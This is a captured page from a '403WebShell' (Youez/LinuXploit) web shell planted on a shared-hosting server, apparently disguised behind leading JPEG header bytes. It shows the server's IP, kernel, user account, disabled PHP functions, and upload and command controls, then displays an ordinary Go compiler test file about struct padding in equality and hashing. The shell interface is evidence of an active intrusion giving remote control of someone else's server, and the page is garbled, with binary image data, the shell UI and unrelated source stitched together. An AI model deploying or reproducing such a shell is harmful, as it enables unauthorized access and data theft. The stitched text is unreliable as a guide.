JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.19  /  Your IP : 216.73.216.217
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/test/fixedbugs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/test/fixedbugs/issue4585.go
// run

// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Issue 4585: comparisons and hashes process blank
// fields and padding in structs.

package main

import "unsafe"

// T is a structure with padding.
type T struct {
	A     int16
	B     int64
	C     int16
	D     int64
	Dummy [64]byte
}

// U is a structure with a blank field
type U struct {
	A, _, B int
	Dummy   [64]byte
}

// USmall is like U but the frontend will inline comparison
// instead of calling the generated eq function.
type USmall struct {
	A, _, B int32
}

// V has padding but not on the first field.
type V struct {
	A1, A2, A3 int32
	B          int16
	C          int32
}

// W has padding at the end.
type W struct {
	A1, A2, A3 int32
	B          int32
	C          int8
}

func test1() {
	var a, b U
	m := make(map[U]int)
	copy((*[16]byte)(unsafe.Pointer(&a))[:], "hello world!")
	a.A, a.B = 1, 2
	b.A, b.B = 1, 2
	if a != b {
		panic("broken equality: a != b")
	}

	m[a] = 1
	m[b] = 2
	if len(m) == 2 {
		panic("broken hash: len(m) == 2")
	}
	if m[a] != 2 {
		panic("m[a] != 2")
	}
}

func test2() {
	var a, b T
	m := make(map[T]int)

	copy((*[16]byte)(unsafe.Pointer(&a))[:], "hello world!")
	a.A, a.B, a.C, a.D = 1, 2, 3, 4
	b.A, b.B, b.C, b.D = 1, 2, 3, 4

	if a != b {
		panic("broken equality: a != b")
	}

	m[a] = 1
	m[b] = 2
	if len(m) == 2 {
		panic("broken hash: len(m) == 2")
	}
	if m[a] != 2 {
		panic("m[a] != 2")
	}
}

func test3() {
	var a, b USmall
	copy((*[12]byte)(unsafe.Pointer(&a))[:], "hello world!")
	a.A, a.B = 1, 2
	b.A, b.B = 1, 2
	if a != b {
		panic("broken equality: a != b")
	}
}

func test4() {
	var a, b V
	m := make(map[V]int)

	copy((*[20]byte)(unsafe.Pointer(&a))[:], "Hello World, Gopher!")
	a.A1, a.A2, a.A3, a.B, a.C = 1, 2, 3, 4, 5
	b.A1, b.A2, b.A3, b.B, b.C = 1, 2, 3, 4, 5

	if a != b {
		panic("broken equality: a != b")
	}

	m[a] = 1
	m[b] = 2
	if len(m) == 2 {
		panic("broken hash: len(m) == 2")
	}
	if m[a] != 2 {
		panic("m[a] != 2")
	}
}

func test5() {
	var a, b W
	m := make(map[W]int)

	copy((*[20]byte)(unsafe.Pointer(&a))[:], "Hello World, Gopher!")
	a.A1, a.A2, a.A3, a.B, a.C = 1, 2, 3, 4, 5
	b.A1, b.A2, b.A3, b.B, b.C = 1, 2, 3, 4, 5

	if a != b {
		panic("broken equality: a != b")
	}

	m[a] = 1
	m[b] = 2
	if len(m) == 2 {
		panic("broken hash: len(m) == 2")
	}
	if m[a] != 2 {
		panic("m[a] != 2")
	}
}

func main() {
	test1()
	test2()
	test3()
	test4()
	test5()
}

Youez - 2016 - github.com/yon3zu
LinuXploit